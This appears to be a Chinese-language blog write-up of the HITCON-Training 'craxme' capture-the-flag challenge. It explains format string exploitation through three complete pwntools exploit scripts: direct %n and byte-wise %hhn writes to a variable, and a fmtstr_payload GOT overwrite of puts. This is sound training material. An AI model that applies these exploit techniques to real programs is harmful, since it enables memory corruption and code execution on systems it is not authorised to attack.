还在补格式化字符串漏洞的知识,,,,看到这道题的时候,有点懵,,,因为发现218不会整,,,看官方writeup也不太行,,,
先知社区上有篇讲的就很好了,,,nice,用了四种方法(最后一种没看懂,,,),,,看完,BJDCTF那道r2t4终于也明白了,感天动地,,,今天就写下前三种方法的种种,,,
顺便计算下偏移,反正都会用到
偏移是7
最简单的一种
就是要通过格式化字符串写漏洞,让magic的地址变为218
这样准备工作都完成了,思路就是将放上magic的地址,然后,就可以填充214个字节,然后偏移7个
语句是这样的:p32(magic_addr)+"%0214c"+"%7$n"
放上32位地址 填充214字符 将前面的字节(214+4)写入偏移也就是我们输入的东西,magic
这样就成功让magic的内容为218
完整exp
from pwn import *
p=process('./craxme')
magic_addr=0x0804A038
p.recvuntil(":")
payload=p32(magic_addr)+"%0214c"+"%7$n"
p.sendline(payload)
p.interactive()
这个是将magic覆盖成那个很大的负数,这样做也会麻烦一些了,,,
首先我们要将负数用十六进制表示出来
用电脑自带的计算器,程序员模式就行
因为大小端的缘故,我们填入的时候应该是
0c ==> b0 ==> ce ==> fa
发现刚好都是递增,所以,我们可以一个字节一个字节分别写入
意思就是0c写入magic的地址,b0写入magic+1(1个字节),ce写入magic+2,fa写入magic+3,一个地址是四个四节也就是magic~magic+3这个部分,,,
payload2 = p32(magic) + p32(magic+1) + p32(magic+2)+ p32(magic+3) #4x4=16
payload2 += '%252c%7$hhn' #252+16 =268-->0x10c
payload2 += '%164c%8$hhn' #268+164 = 432 -->0x1b0
payload2 += '%30c%9$hhn' #432+30 =462 -->0x1ce
payload2 += '%44c%10$hhn' #462+44 =506 -->0x1fa
【第一个0c是12但是前面的地址就有16所以只能多一位,后面1会被覆盖,所以关系8大】
【%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节】
完整exp:
#coding=utf-8
from pwn import *
p=process('./craxme')
magic_addr=0x0804A038
payload = p32(magic_addr)+p32(magic_addr+1)+p32(magic_addr+2)+p32(magic_addr+3)#4*4=16
payload += '%252c'+'%7$hhn'
payload += '%164c'+'%8$hhn'
payload += '%30c'+'%9$hhn'
payload += '%44c'+'%10$hhn'
p.recvuntil('magic :')
p.sendline(payload)
p.interactive()
【7,8,9,10那个想解释一下,因为自己刚开始看的时候有点迷,四个字节和一个字节的关系,,,没错,前面的数值会是四个字节,只是写入的时候只写入一个字节,%7$偏移刚好是输入的那个东西,也就是第一行payload的p32(magic_addr),%8$走到的地方是payload的第二个p32(magic_addr+1),哈哈哈】
这里我们还要介绍一个pwntools用于格式化字符串的函数,可以方便生成payload:
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
第一个参数表示格式化字符串的偏移,这里已经知道是7;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress};
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload
也就是我们中间可以不用这样一步步算出来,直接调用哪个函数,给出我们的偏移,地址,以及我们想要在地址里面写入的地址就行:
payload=fmtstr_payload(7,{magic_addr:0xfaceb00c})
第三种方法就是
我们用函数来直接实现
#coding=utf-8
from pwn import *
p=process('./craxme')
elf=ELF('./craxme')
puts_got=elf.got['puts']
magic_addr=0x0804a038
cat_flag=0x080485D8 #or 0x080485F6
payload=fmtstr_payload(7,{puts_got:cat_flag })
p.recvuntil('magic :')
p.sendline(payload)
p.interactive()
这里需要修改的是got表,因为puts函数根据plt会找到got表来执行,如果用了plt表,接下来还回去找got,,,
参考博客:https://xz.aliyun.com/t/3902#toc-10
题目下载:https://github.com/scwuaptx/HITCON-Training